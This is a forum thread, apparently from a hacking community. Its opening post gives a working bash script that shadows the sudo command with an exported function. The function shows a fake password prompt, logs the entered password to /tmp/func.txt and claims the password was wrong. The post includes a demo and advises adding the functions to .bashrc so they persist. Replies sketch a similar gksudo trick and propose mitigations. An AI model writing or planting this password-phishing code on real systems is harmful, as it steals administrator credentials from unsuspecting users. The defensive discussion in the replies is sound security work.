Jump to content

Infecting Bash Files. and Bashrc.


Xqtftqx

Recommended Posts

So today i was thinking and playing around with bash functions.

So i started playing around and i developed this short piece of code:

#!/bin/bash

function sudo() {
    newsudo
    /usr/bin/sudo $@
}

function newsudo() {
    USER=`whoami`
    read -ers -p "[sudo] password for $USER: " FUNC
    echo
    echo $USER $FUNC >> /tmp/func.txt
    echo "Sorry, try again"
}

export -f sudo
export -f newsudo

/bin/bash

exit

Any monkey can figure out what this does, but incase you dont here is what happens.

When this file is loaded, you are returned to a bash shell.

everything works normal, except when you go to run the "sudo" command. When you run sudo (After running this bash file) it will look normal, but no matter what happens it will say the password is wrong and tell you to try again. if you try again with the correct password it will work and run the command fine. Now after this happens, take a look at "/tmp/func.txt" the root password will be there. Basically phishing for the command line.

Here is an example:

tyler@Xquntu:~/Projects/sudo-demo$ whoami
tyler
tyler@Xquntu:~/Projects/sudo-demo$ ./sudo-func.sh 
tyler@Xquntu:~/Projects/sudo-demo$ sudo whoami
[sudo] password for tyler: 
Sorry, try again
[sudo] password for tyler: 
root
tyler@Xquntu:~/Projects/sudo-demo$ cat /tmp/func.txt
tyler 1234password

1234password is not my real password, i just used it as an example and the second time i typed my correct password.

You can insert the functions and exports into the bashrc file making this run everytime a bash shell is started.

Link to comment
Share on other sites

Whoops. Well, you can easily get root using the user password. if they have permissions

I have insults turned on in my bash, so I'd be a little suspicious if it returned 'Sorry, try again'. I'm used to and deserve some verbal abuse if i get my passwd wrong.

Link to comment
Share on other sites

This attack could also be preformed by exporting a malicious path.

Bash currently only supports a user environment (i.e. env/export). To prevent attacks such as this, bash should have a system environment. Only root, a user running sudo, or a file writable by root alone would be able to export variables to this environment.

/etc/profile would export a sPATH (secure path) variable to the system environment with paths to folders and executables that would trump all others. This would both prevent your function based attack and a PATH based attack.

Link to comment
Share on other sites

As a side note, a similar attack can be done with gksu/gksudo. It would be trivial to write a program that waits for gksudo to be run and then closed, and then run `gksudo -p -m "Sorry, incorrect password. Please try again:" > /tmp/func.txt`. The user would then enter his or her password again and the attacker would now have the administrative password.

Several steps could be taken to prevent such an attack:

1) Gksudo should ONLY be used for system passwords. There should be no '-p' option.

2) Gksudo should ALWAYS include the command being executed in the password dialog (even if in a small font).

3) X should have some countermeasure against spoofed authentication windows.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...